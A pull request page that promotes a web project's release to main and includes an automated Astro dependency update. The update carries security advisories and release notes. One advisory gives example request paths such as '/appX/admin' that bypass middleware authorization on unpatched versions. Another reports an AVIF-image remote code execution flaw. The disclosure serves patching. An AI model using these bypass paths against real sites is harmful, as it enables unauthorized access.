chore(release): promote development to main #7

Merged
ryangr0 merged 25 commits from development into main 2026-09-17 08:07:30 +00:00
Member

Promotes v0.2.0-rc.9 from development to main for a stable release and the production deploy.
When this PR was opened: staging deploy success; https://staging.twente.dev/nl answers 200.
Merge with a merge commit or rebase merge, never squash. semantic-release needs the original commits to compute the stable version.

Promotes `v0.2.0-rc.9` from `development` to `main` for a stable release and the production deploy. When this PR was opened: staging deploy success; https://staging.twente.dev/nl answers 200. **Merge with a merge commit or rebase merge, never squash.** semantic-release needs the original commits to compute the stable version.
feat(deps): update dependency astro ( 7.1.6 ➔ 7.2.8 ) [security] (#5)
All checks were successful
[Workflow] On Source Change / Static Analysis (Prettier, ESLint, Typecheck, Audit, Knip, Outdated) (push) Successful in 1m50s
[Workflow] On Source Change / Static Analysis (push) Successful in 0s
[Workflow] On Source Change / Container Parity (push) Successful in 1m44s
[Workflow] On Source Change / Unit Tests-1 (push) Successful in 3m14s
[Workflow] On Source Change / Unit Tests (push) Successful in 0s
[Workflow] On Source Change / Content Validation-1 (push) Successful in 3m21s
[Workflow] On Source Change / Mail Validation-1 (push) Successful in 3m14s
[Workflow] On Source Change / Content Validation (push) Successful in 0s
[Workflow] On Source Change / Mail Validation (push) Successful in 0s
[Workflow] On Source Change / Build Site-1 (push) Successful in 1m33s
[Workflow] On Source Change / Build Site (push) Successful in 0s
[Workflow] On Source Change / Deploy preview (push) Has been skipped
[Workflow] On Source Change / Deploy production (push) Has been skipped
[Workflow] On Source Change / Deploy Preview (push) Successful in 0s
[Workflow] On Source Change / Accessibility (axe-core)-1 (push) Successful in 1m30s
[Workflow] On Source Change / Accessibility (axe-core) (push) Successful in 0s
[Workflow] On Source Change / Lighthouse budgets (push) Successful in 6m30s
[Workflow] On Source Change / Lighthouse Budgets (push) Successful in 0s
[Workflow] On Source Change / Semantic Release (push) Successful in 19s
[Workflow] On Source Change / Release (push) Successful in 0s
4939c02be9
This PR contains the following updates:

| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Adoption](https://docs.renovatebot.com/merge-confidence/) | [Passing](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|---|---|
| [astro](https://astro.build) ([source](https://github.com/withastro/astro/tree/HEAD/packages/astro)) | [`7.1.6` → `7.2.8`](https://renovatebot.com/diffs/npm/astro/7.1.6/7.2.8) | ![age](https://developer.mend.io/api/mc/badges/age/npm/astro/7.2.8?slim=true) | ![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/astro/7.2.8?slim=true) | ![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/astro/7.1.6/7.2.8?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/astro/7.1.6/7.2.8?slim=true) |

---

> ⚠️ **Warning**
>
> Some dependencies could not be looked up. Check the [Dependency Dashboard](issues/2) for more information.

🔒 **Security update**: prioritize review and verify the vulnerable component is actually deployed.

Merge Confidence badges are included where supported — low or neutral confidence warrants a manual impact check before merge.

`Released` is the upstream publish time. `—` means this datasource reports no release timestamp — normal for ghcr.io, quay.io and private/proxy registries — so `minimumReleaseAge` cannot hold the update back and it is eligible as soon as checks pass. A real date means the soak is enforced: add this update type's `minimumReleaseAge` to `Released` to get the eligibility moment.

---

### Astro: Authorization bypass from missing path-segment boundary check when stripping the configured base
[CVE-2026-84376](https://nvd.nist.gov/vuln/detail/CVE-2026-84376) / [GHSA-376h-93r7-7g6f](https://github.com/advisories/GHSA-376h-93r7-7g6f)

<details>
<summary>More information</summary>

#### Details
##### Summary

Astro stripped a configured `base` path from request pathnames using a string-prefix check that did not verify a path-segment boundary. With `base: "/app"`, a request to `/appX/admin` was treated as being under the base and resolved internally to the `/admin` route, while middleware still observed the public pathname `/appX/admin`. Middleware that authorizes routes by inspecting `context.url.pathname` could therefore be bypassed.

##### Impact

An unauthenticated remote attacker can bypass pathname-based middleware authorization in applications that:

- Configure a non-root `base`.
- Protect base-prefixed routes in middleware using `context.url.pathname`.

Because routing and middleware resolved different effective pathnames, a request such as `/appX/admin` (or other single-character extensions like `/app2/admin` or `/app-/admin`) reached the protected `/admin` route without passing the middleware check that guards `/app/admin`. Astro's authentication guide demonstrates protecting routes in middleware via `context.url.pathname`, so this is a reasonable and expected pattern.

##### Affected versions

`astro` <= 7.2.3.

##### Patches

Fixed in `astro` 7.2.4. Base stripping now requires the pathname to equal the base without its trailing slash, or to be followed by a `/`, so a prefix that does not end on a path-segment boundary is no longer treated as being under the base. Routing and `context.url.pathname` now resolve the same pathname.

##### Workarounds

Upgrade to `astro` 7.2.4 or later. As a mitigation before upgrading, avoid relying solely on prefix checks of `context.url.pathname` for authorization, or reject requests whose pathname does not begin with the configured base followed by a path-segment boundary.

##### Credits

Reported by @&#8203;Ryoga-exe.

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
- [https://github.com/withastro/astro/security/advisories/GHSA-376h-93r7-7g6f](https://github.com/withastro/astro/security/advisories/GHSA-376h-93r7-7g6f)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-84376](https://nvd.nist.gov/vuln/detail/CVE-2026-84376)
- [https://github.com/withastro/astro/pull/17701](https://github.com/withastro/astro/pull/17701)
- [05763a0884)
- [https://github.com/withastro/astro](https://github.com/withastro/astro)
- [https://github.com/withastro/astro/releases/tag/astro@7.2.4](https://github.com/withastro/astro/releases/tag/astro@7.2.4)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-376h-93r7-7g6f) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Astro: Remote code execution through AVIF image optimization
[GHSA-26w7-cxv4-gfx2](https://github.com/advisories/GHSA-26w7-cxv4-gfx2)

<details>
<summary>More information</summary>

#### Details
A vulnerability in `libheif`, used by the default Sharp image service in Astro, can lead to remote code execution when a malicious AVIF image is optimized.

Projects are affected when an attacker can cause Astro to process an untrusted AVIF image.

The fix was released in Astro 7.2.8, which requires Sharp 0.35.4.

#### Severity
- CVSS Score: 9.8 / 10 (Critical)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

#### References
- [https://github.com/strukturag/libheif/security/advisories/GHSA-g89c-p67h-r497](https://github.com/strukturag/libheif/security/advisories/GHSA-g89c-p67h-r497)
- [https://github.com/withastro/astro/security/advisories/GHSA-26w7-cxv4-gfx2](https://github.com/withastro/astro/security/advisories/GHSA-26w7-cxv4-gfx2)
- [ecb4082131)
- [https://github.com/withastro/astro](https://github.com/withastro/astro)
- [https://github.com/withastro/astro/releases/tag/astro@7.2.8](https://github.com/withastro/astro/releases/tag/astro@7.2.8)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-26w7-cxv4-gfx2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>withastro/astro (astro)</summary>

### [`v7.2.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#728)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.2.7...astro@7.2.8)

##### Patch Changes

- [#&#8203;17837](https://github.com/withastro/astro/pull/17837) [`ecb4082`](ecb4082131) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Updates the minimum supported version of Sharp to 0.35.4

- [#&#8203;17786](https://github.com/withastro/astro/pull/17786) [`db7c53b`](db7c53b170) Thanks [@&#8203;gameroman](https://github.com/gameroman)! - Replaces the internal `find-process` dependency with a smaller, lighter alternative

### [`v7.2.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#727)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.2.6...astro@7.2.7)

##### Patch Changes

- [#&#8203;17415](https://github.com/withastro/astro/pull/17415) [`55d38c8`](55d38c868b) Thanks [@&#8203;iseraph-dev](https://github.com/iseraph-dev)! - Deserializes each route once when loading the SSR manifest

- [#&#8203;17772](https://github.com/withastro/astro/pull/17772) [`023b48b`](023b48b139) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes route selection for normalized request paths in adapter and development request handling

- [#&#8203;17819](https://github.com/withastro/astro/pull/17819) [`633855b`](633855b0ca) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Updates generated and default Cloudflare `compatibility_date` values to match the installed runtime and requires Wrangler `^4.125.0`

- [#&#8203;17813](https://github.com/withastro/astro/pull/17813) [`ae26d18`](ae26d18c71) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `rewrite()` and `next(payload)` for GET and HEAD requests with host-provided bodies

- [#&#8203;17816](https://github.com/withastro/astro/pull/17816) [`a0d2fe3`](a0d2fe3af2) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes the experimental `svgOptimizer` not generating unique per-file ID prefixes when using SVGO's `prefixIds` plugin

### [`v7.2.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#726)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.2.5...astro@7.2.6)

##### Patch Changes

- [#&#8203;17812](https://github.com/withastro/astro/pull/17812) [`29af6da`](29af6da5c1) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a bug where `new FetchState(request)` could fail in development when server dependencies were optimized

### [`v7.2.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#725)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.2.4...astro@7.2.5)

##### Patch Changes

- [#&#8203;17758](https://github.com/withastro/astro/pull/17758) [`5f419e2`](5f419e25c5) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes a bug where `experimental_getFontFileURL()` rejected valid font URLs when using the Cloudflare adapter

- [#&#8203;17416](https://github.com/withastro/astro/pull/17416) [`493796b`](493796b4c3) Thanks [@&#8203;iseraph-dev](https://github.com/iseraph-dev)! - Skips no-op pathname writes when normalizing SSR request URLs

- [#&#8203;17712](https://github.com/withastro/astro/pull/17712) [`bd374b7`](bd374b7507) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Updates deprecation messages target from Astro 7 to 8

- [#&#8203;17719](https://github.com/withastro/astro/pull/17719) [`dac1768`](dac17688f6) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes session ID validation to reject non-UUID cookie values before using them as storage keys

- [#&#8203;17770](https://github.com/withastro/astro/pull/17770) [`84eb7e7`](84eb7e7db9) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes `--mode`, `--site`, `--base`, `--out-dir`, `--verbose`, `--silent`, and `--open` flags being silently dropped when using `astro dev --background` or `astro preview --background`

- [#&#8203;17713](https://github.com/withastro/astro/pull/17713) [`d035290`](d035290a14) Thanks [@&#8203;wakqasahmed](https://github.com/wakqasahmed)! - Fixes `content-modules.mjs` not removing entries for deleted or renamed content files, which could cause Vite to attempt to resolve non-existent modules

  As part of this fix, `#moduleImports` is now fully rebuilt from `deferredRender` entries before every write, so a module import added only through the public `addModuleImport()` API without a corresponding `deferredRender` entry in the store will no longer be preserved across writes.

- [#&#8203;17743](https://github.com/withastro/astro/pull/17743) [`adc750f`](adc750fa27) Thanks [@&#8203;contactjawad](https://github.com/contactjawad)! - Fixes `Astro.preferredLocale` and `Astro.preferredLocaleList` ignoring `Accept-Language` quality values when they are absent or `0`. An entry without an explicit `q=` now correctly counts as quality `1.0` (per RFC 7231) and an entry with `q=0` is treated as not acceptable, so the highest-quality locale is selected regardless of header order.

- [#&#8203;17757](https://github.com/withastro/astro/pull/17757) [`660991c`](660991c820) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes build errors showing wrong file location, missing line:col, and misleading hints when a plugin error (e.g. from MDX) is wrapped by Vite's build error

- [#&#8203;17783](https://github.com/withastro/astro/pull/17783) [`60b14ff`](60b14ffff5) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a type error when passing an image from a content collection `image()` schema to a component or `<Image />`. The schema returned by `image()` was missing the `apng` format, so it no longer matched the type of an imported image.

- [#&#8203;17664](https://github.com/withastro/astro/pull/17664) [`d483125`](d48312502e) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes an issue where Astro CSP support didn't correctly handle cases `"unsafe-inline"` resource. Now when `"unsafe-inline"`, Astro won't emit hashes for the directive specified.

- [#&#8203;17810](https://github.com/withastro/astro/pull/17810) [`0fc5f65`](0fc5f655ff) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a regression in the content collections that could cause images to not be resolved

- [#&#8203;17781](https://github.com/withastro/astro/pull/17781) [`aa33b44`](aa33b440a5) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `memoryCache()` storing responses that set cookies through `Astro.cookies` or `Astro.session`

- [#&#8203;17787](https://github.com/withastro/astro/pull/17787) [`6661fbe`](6661fbe54a) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes `server:defer` crashing the dev server with "undefined is not a function" when a deferred component imports from `astro:i18n`

- [#&#8203;17750](https://github.com/withastro/astro/pull/17750) [`dd0e3ac`](dd0e3aca0b) Thanks [@&#8203;dobrodob](https://github.com/dobrodob)! - Fixes a regression where `transition:persist` stopped working for `<audio>` and `<video>` elements.

- [#&#8203;17774](https://github.com/withastro/astro/pull/17774) [`fe1d16d`](fe1d16d986) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Adds support for importing `.apng` files as image metadata for use with standard `<img>` elements. Astro's image components reject APNG files to avoid removing their animation

- [#&#8203;17799](https://github.com/withastro/astro/pull/17799) [`8797754`](8797754d0b) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes i18n `fallbackType: "rewrite"` returning 500 instead of 404 when the fallback locale also has no matching static path for a prerendered dynamic route

- [#&#8203;17741](https://github.com/withastro/astro/pull/17741) [`99d3d3d`](99d3d3dbbf) Thanks [@&#8203;ericswpark](https://github.com/ericswpark)! - Bumps the Astro compiler to the latest version. [Changelog](https://github.com/withastro/compiler-rs/releases/tag/%40astrojs%2Fcompiler-rs%400.4.0).

- [#&#8203;17782](https://github.com/withastro/astro/pull/17782) [`3578d45`](3578d45d34) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Improves the performance of the Astro CLI in local by enabling Node's module compilation cache.

- [#&#8203;17705](https://github.com/withastro/astro/pull/17705) [`2043e4f`](2043e4fc0f) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes incremental builds serving cached HTML that references stale CSS filenames after a stylesheet-only edit

- [#&#8203;17754](https://github.com/withastro/astro/pull/17754) [`3d50dfd`](3d50dfdd14) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes the dev server refusing to start in Docker containers after a restart due to PID reuse in the lock file check

- [#&#8203;17769](https://github.com/withastro/astro/pull/17769) [`bbda94d`](bbda94d69b) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes a build failure when defining `vite.environments.ssr` in the Astro config. User-provided environment config for `ssr`, `prerender`, or `client` is now properly deep-merged with Astro's internal environment settings instead of silently breaking the server entry naming.

- [#&#8203;17776](https://github.com/withastro/astro/pull/17776) [`0874da8`](0874da8c64) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes the `glob()` content loader failing to load files with colons in their names (e.g., `Guide: Architecture.md`)

- Updated dependencies \[[`0762a83`](0762a8385b), [`0c99615`](0c996155d8)]:
  - [@&#8203;astrojs/markdown-satteri](https://github.com/astrojs/markdown-satteri)@&#8203;0.3.8

### [`v7.2.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#724)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.2.3...astro@7.2.4)

##### Patch Changes

- [#&#8203;17747](https://github.com/withastro/astro/pull/17747) [`a90ff66`](a90ff6650f) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes builds hanging when an image file is malformed

- [#&#8203;17701](https://github.com/withastro/astro/pull/17701) [`05763a0`](05763a0884) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes base path stripping to respect path-segment boundaries. With a configured `base` such as `/docs`, a request like `/docs-archive/page` is no longer treated as being under the base, so routing and `context.url.pathname` now agree on the same pathname.

- [#&#8203;17742](https://github.com/withastro/astro/pull/17742) [`70b449d`](70b449ddba) Thanks [@&#8203;Kjubikstronk](https://github.com/Kjubikstronk)! - Fixes `astro build` throwing `TypeError: Missing parameter` for dynamic routes when `build.format: 'preserve'` and `trailingSlash: 'always'` are used together. Stripping the framework-injected `.html` suffix dropped the trailing slash that the compiled route pattern requires, so the route no longer matched itself and its params resolved as empty.

- [#&#8203;17703](https://github.com/withastro/astro/pull/17703) [`771b0a9`](771b0a9a04) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes `Astro.site` always being `undefined` when rendering components via the Container API, even when `site` is set in `astroConfig`

- Updated dependencies \[[`05763a0`](05763a0884), [`bc171af`](bc171af0e2)]:
  - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.10.4
  - [@&#8203;astrojs/markdown-satteri](https://github.com/astrojs/markdown-satteri)@&#8203;0.3.7
  - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;7.2.4

### [`v7.2.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#723)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.2.2...astro@7.2.3)

##### Patch Changes

- [#&#8203;17724](https://github.com/withastro/astro/pull/17724) [`97140b2`](97140b23f4) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro could run out of memory when `experimental.collectionStorage` is set to `chunked` and there are multiple concurrent updates to the same collection.

- [#&#8203;17636](https://github.com/withastro/astro/pull/17636) [`51723b1`](51723b100a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes the dev server sometimes matching against stale routes after pages were added, removed, or renamed, requiring a dev server restart to pick up the change

- [#&#8203;17636](https://github.com/withastro/astro/pull/17636) [`51723b1`](51723b100a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes the composable request helpers (`astro/fetch`) throwing an error when used on a request that had been rewritten with `Astro.rewrite()` or `next()`

- [#&#8203;17636](https://github.com/withastro/astro/pull/17636) [`51723b1`](51723b100a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Refactors Astro's internal server-side request handling. This is an internal change: all documented public APIs, including `App` and `NodeApp`, keep their existing signatures and behavior.

  The undocumented internal `app.pipeline` property and the `AppPipeline` export from `astro/app` have been removed. Adapters that used `app.pipeline.getLogger()` to wait for the configured log destination can call the new `app.getLogger()` instead.

  As a result of this refactor, `new FetchState(request)` from `astro/fetch` now works anywhere inside a built Astro server — including custom `src/fetch.ts` entrypoints — without the request needing to first pass through `app.render()`. Previously this threw an error, breaking patterns like the Cloudflare adapter's advanced custom-worker setup.

- [#&#8203;17723](https://github.com/withastro/astro/pull/17723) [`c3b9aed`](c3b9aed88d) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a link in font providers JSDoc annotations

- [#&#8203;17699](https://github.com/withastro/astro/pull/17699) [`e28d227`](e28d22782b) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes several documentation issues related to the JSDoc for configuration options.

  - When hovering over the `server` and `fonts` options, the JSDoc for the nested options was displayed instead of the JSDoc for the top-level property.
  - Two i18n configuration options were being used incorrectly in the examples.
  - The indentation of some code blocks was broken on hover.

- [#&#8203;17572](https://github.com/withastro/astro/pull/17572) [`2066f39`](2066f39c60) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a crash when a request arrives with a malformed port in the `Host` header (for example `example.com:65536` or `example.com:8080:8080`). Such a host made the constructed request URL invalid, and the fallback that was meant to recover reused the same invalid host and threw again. The request URL now degrades to a host the server controls when the incoming host cannot be parsed, so the request is handled instead of erroring.

- [#&#8203;17685](https://github.com/withastro/astro/pull/17685) [`9f15609`](9f156094ca) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes a dev server error where an SSR full reload triggered by a third-party Vite plugin (such as `@tailwindcss/vite`) could fail with `Failed to load url astro:server-app.js`

- [#&#8203;17636](https://github.com/withastro/astro/pull/17636) [`51723b1`](51723b100a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves error handling for custom log destinations. When the configured logger fails to load, Astro now reports the error and continues with the default console logger instead of failing the first request.

- [#&#8203;17631](https://github.com/withastro/astro/pull/17631) [`cf29bec`](cf29bec661) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `getCollection()` and `getEntry()` throwing `DataCloneError` when a collection schema transform returns a `Temporal.PlainDate` or other class instance.

- Updated dependencies \[[`8c193f6`](8c193f67cc)]:
  - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.10.3
  - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;7.2.3
  - [@&#8203;astrojs/markdown-satteri](https://github.com/astrojs/markdown-satteri)@&#8203;0.3.6

### [`v7.2.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#722)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.2.1...astro@7.2.2)

##### Patch Changes

- [#&#8203;17611](https://github.com/withastro/astro/pull/17611) [`9bc3207`](9bc3207fdb) Thanks [@&#8203;thelazylamaGit](https://github.com/thelazylamaGit)! - Fixes component styles rendered from content entries remaining stale until a second save when an adapter uses Astro's fallback development environment

- [#&#8203;17634](https://github.com/withastro/astro/pull/17634) [`2267eee`](2267eeec7e) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes incremental builds dropping optimized images for cached pages when using a `collectStaticImages` prerenderer (e.g. `@astrojs/cloudflare` with compile-time image optimization)

- [#&#8203;17650](https://github.com/withastro/astro/pull/17650) [`4cdf128`](4cdf128739) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes intermittent `ImageNotFound` errors during build on projects with many images. The build now limits concurrent image file reads to avoid exhausting OS file descriptors (EMFILE) and retries transient I/O errors with backoff. Non-transient errors are no longer silently swallowed.

- [#&#8203;17683](https://github.com/withastro/astro/pull/17683) [`2378221`](23782215a3) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes `prerenderConflictBehavior` not applying to content collection duplicate ID warnings in the `glob()` and `file()` loaders. Setting it to `'error'` now throws during content sync, and `'ignore'` suppresses the warning.

- [#&#8203;17659](https://github.com/withastro/astro/pull/17659) [`90c6ea4`](90c6ea4641) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes the Fonts API breaking `experimental.incrementalBuild` caching by embedding a build-local, randomly-assigned server port in generated code used for the dependency hash

- [#&#8203;17630](https://github.com/withastro/astro/pull/17630) [`fd1d9ee`](fd1d9ee3f4) Thanks [@&#8203;ericclemmons](https://github.com/ericclemmons)! - Fixes incremental builds becoming prohibitively slow for sites with many pages or content entries that share a large dependency graph.

- [#&#8203;17690](https://github.com/withastro/astro/pull/17690) [`93beecc`](93beeccc51) Thanks [@&#8203;NgoQuocViet2001](https://github.com/NgoQuocViet2001)! - Prevents files in directories whose names start with `pages` from being treated as page routes

- [#&#8203;17671](https://github.com/withastro/astro/pull/17671) [`09f0dc7`](09f0dc7f90) Thanks [@&#8203;tarikermis](https://github.com/tarikermis)! - Fixes `astro dev` refusing to start after a Docker container restart when an unrelated process reuses the PID from a persisted lock file. Astro now checks the process command across platforms, so stale lock files are cleaned up and `--force` does not signal the unrelated process.

### [`v7.2.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#7210)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.2.0...astro@7.2.1)

##### Patch Changes

- [#&#8203;17262](https://github.com/withastro/astro/pull/17262) [`f8e9458`](f8e94585ab) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes `@astrojs/markdown-remark` being pinned to an exact version.

- [#&#8203;17874](https://github.com/withastro/astro/pull/17874) [`10c7e63`](10c7e636cd) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes SSR manifest placeholder not being replaced when the server build is minified, which caused a runtime `Invalid URL` crash at server boot

- [#&#8203;17869](https://github.com/withastro/astro/pull/17869) [`2548abf`](2548abf187) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where the logger was improperly initialized at runtime in dev.

- [#&#8203;17878](https://github.com/withastro/astro/pull/17878) [`76eff3d`](76eff3d5fb) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes browser heuristic caching for cached responses that include `Last-Modified` or `ETag` validators

- [#&#8203;17833](https://github.com/withastro/astro/pull/17833) [`413a6e7`](413a6e7a9b) Thanks [@&#8203;astro-factory](https://github.com/apps/astro-factory)! - Fixes prerender conflict warnings to correctly identify the route that first rendered a duplicate pathname, instead of misattributing the conflict to an unrelated route that merely matches the URL pattern

- [#&#8203;17872](https://github.com/withastro/astro/pull/17872) [`f7191cc`](f7191cc425) Thanks [@&#8203;jx-grxf](https://github.com/jx-grxf)! - Fixes Markdown images in content collections rendering an empty `srcset` attribute when no responsive candidates are generated.

- [#&#8203;17755](https://github.com/withastro/astro/pull/17755) [`157c500`](157c500c38) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a bug where editing a content collection entry during `astro dev` on Windows kept serving stale content until the dev server was restarted. The data store now notifies the dev server directly after each write instead of relying only on the file watcher, which can miss the atomic rename that commits the write on some platforms.

- Updated dependencies \[[`f8e9458`](f8e94585ab), [`f8e9458`](f8e94585ab)]:
  - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.11.0
  - [@&#8203;astrojs/markdown-satteri](https://github.com/astrojs/markdown-satteri)@&#8203;0.4.0

### [`v7.2.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#720)

[Compare Source](https://github.com/withastro/astro/compare/astro@7.1.6...astro@7.2.0)

##### Minor Changes

- [#&#8203;17174](https://github.com/withastro/astro/pull/17174) [`0224a3a`](0224a3a356) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds the `astro preview --background` flag to start preview servers as background processes.

  This makes preview servers easier to manage from scripts and AI coding agents because the command returns after the server is ready instead of keeping the terminal attached to the long-running process.

  ```sh
  astro preview --background
  ```

  When a preview server is running in the background, you can inspect or stop it with new `astro preview` subcommands:

  ```sh
  astro preview status
  astro preview logs
  astro preview logs --follow
  astro preview stop
  ```

  If Astro detects that `astro preview` is being run by an AI coding agent, background mode is enabled automatically. This matches the existing behavior for `astro dev`, allowing agents to continue working after the preview server starts while still receiving the server URL and process ID.

  To opt out of automatic background mode for preview servers, set `ASTRO_PREVIEW_BACKGROUND=0` before running `astro preview`.

- [#&#8203;17532](https://github.com/withastro/astro/pull/17532) [`7f94895`](7f94895f8c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds support for paths relative to your project root in `logger.entrypoint`

  Previously, pointing `logger.entrypoint` at a custom log handler living in your own project required building an absolute `URL`. You can now write the path directly:

  ```diff
  // astro.config.mjs
  import { defineConfig } from 'astro/config';

  export default defineConfig({
    logger: {
  -    entrypoint: new URL('./src/logger.js', import.meta.url),
  +    entrypoint: './src/logger.js',
    },
  });
  ```

  Paths starting with `./` or `../` are resolved against your project root. Package specifiers such as `@org/astro-logger`, absolute paths, and `URL` entrypoints keep working as before.

- [#&#8203;17084](https://github.com/withastro/astro/pull/17084) [`961bbe5`](961bbe5fdf) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Widens the `AstroPrerenderer` `render()` return type so prerenderers can report incremental-build metadata

  A prerenderer's `render()` may now resolve to either a `Response` (as before) or a `PrerenderResult` object that pairs the response with the content entries and optimized-image transforms the page resolved. This lets prerenderers that render out of process (for example, in an adapter's runtime like workerd) report those dependencies back to the build, so [incremental static builds](https://docs.astro.build/en/reference/experimental-flags/incremental-build/) can track and replay them for skipped pages.

  ```ts
  import type { AstroPrerenderer, PrerenderResult } from 'astro';

  const prerenderer: AstroPrerenderer = {
    name: 'my-adapter:prerenderer',
    getStaticPaths,
    async render(request, { routeData }): Promise<PrerenderResult> {
      const { response, metadata } = await renderInRuntime(request, routeData);
      return { response, metadata };
    },
  };
  ```

  This is a non-breaking widening: prerenderers that return a bare `Response` continue to work unchanged, and in-process prerenderers can keep returning a `Response` since the build collects their metadata directly.

- [#&#8203;16871](https://github.com/withastro/astro/pull/16871) [`90c98ae`](90c98ae21e) Thanks [@&#8203;adamchal](https://github.com/adamchal)! - Adds `session: false` in `astro.config` to opt out of session support. Projects that do not set `session: false` see no behavior change.

  ```js title="astro.config.mjs"
  import { defineConfig } from 'astro/config';

  export default defineConfig({
    session: false,
  });
  ```

  The session runtime and dependencies (`unstorage`) are now tree-shaken out of the SSR bundle for any project where no session driver is wired via:

  - `session: false`
  - no `session` config at all
  - a `session` config without a driver

  Useful for serverless/edge runtimes where cold-start parse time is sensitive.

- [#&#8203;17084](https://github.com/withastro/astro/pull/17084) [`961bbe5`](961bbe5fdf) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds experimental support for incremental static builds with `experimental.incrementalBuild`.

